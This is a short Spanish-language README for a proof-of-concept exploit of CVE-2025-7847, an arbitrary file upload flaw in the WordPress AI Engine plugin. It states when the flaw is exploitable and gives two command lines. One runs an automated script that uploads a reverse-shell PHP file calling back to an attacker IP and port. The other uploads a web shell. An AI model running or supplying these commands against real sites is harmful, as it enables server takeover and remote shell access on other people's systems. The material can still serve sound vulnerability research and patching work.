CVE-2025-7847 Plugin de WordPress – Carga Arbitraria de Archivos por Suscriptor Autenticado – POC

Plugin de WordPress AI Engine 2.9.3 - 2.9.4 Prueba de Concepto

Tenga en cuenta que esta vulnerabilidad solo puede explotarse si la opción “Public API” está habilitada, que está deshabilitada por defecto, y no se configura ningún Bearer Token, ni se añade y utiliza autenticación personalizada para proteger la API.

Versión Automatizada

python3 exploit-auto.py --url "http://target.com" --username "Admin" --password "L87*********C4u" --file reverse.php --attacker-ip 127.0.0.1 --attacker-port 4444

Solo Carga de Web Shell

python3 exploit.py \                                                                                                                          
  --url "http://target.com/" \
  --username "Admin" \
  --password "L87*********C4u" \
  --file shell.php